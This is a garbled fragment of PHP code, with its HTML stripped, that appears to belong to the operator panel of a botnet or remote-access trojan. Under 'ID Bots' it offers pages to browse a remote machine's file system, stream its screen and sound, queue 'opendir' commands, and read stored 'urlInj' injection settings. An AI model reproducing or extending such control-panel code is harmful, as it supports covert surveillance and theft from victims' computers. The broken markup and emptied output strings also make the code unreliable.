ID Bots



"; if($page == "file-system"){ FileSystem(); } elseif($page == "streamscreen"){ StreamScreen(); } elseif($page == "streamsound"){ StreamSound(); } else{ FileSystem(); } echo ""; function StreamSound(){ echo "
Stream Sound



"; } function StreamScreen() { echo "
Stream Screen

No image


"; } function FileSystem() { $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD); $connection->exec('SET NAMES utf8'); $sql = "SELECT urls,urlInj FROM settingsall WHERE id='1'"; $database = new database; $path = $database->ws_GetPath(); if($path=="") $path = "/"; $FileFolder = $database->ws_GetFileFolder(); $file = explode('!!!!', $FileFolder)[2]; $folder = explode('!!!!', $FileFolder)[1]; $arrayFile = explode('|', $file); $arrayFolder= explode('|', $folder); $command = $database->ws_GetCommand(); $command = str_replace('opendir:','',$command); $command = str_replace('!!!','',$command); echo "
File System

Path: $path
Command: $command

"; echo "
"; if(($file=="")&&($folder=="")){ if($path!=="/"){ echo "..
"; } echo "




"; }else{ if($path=="/"){}else{ echo "..
"; } } foreach($arrayFolder as $fold){ if($fold !== "")echo " $fold
"; } foreach($arrayFile as $fil){ if($fil !== "")echo " $fil
"; } echo "

Path


"; } $database = new database; $database->ws_UpdateStatusFileFolder('0'); ?>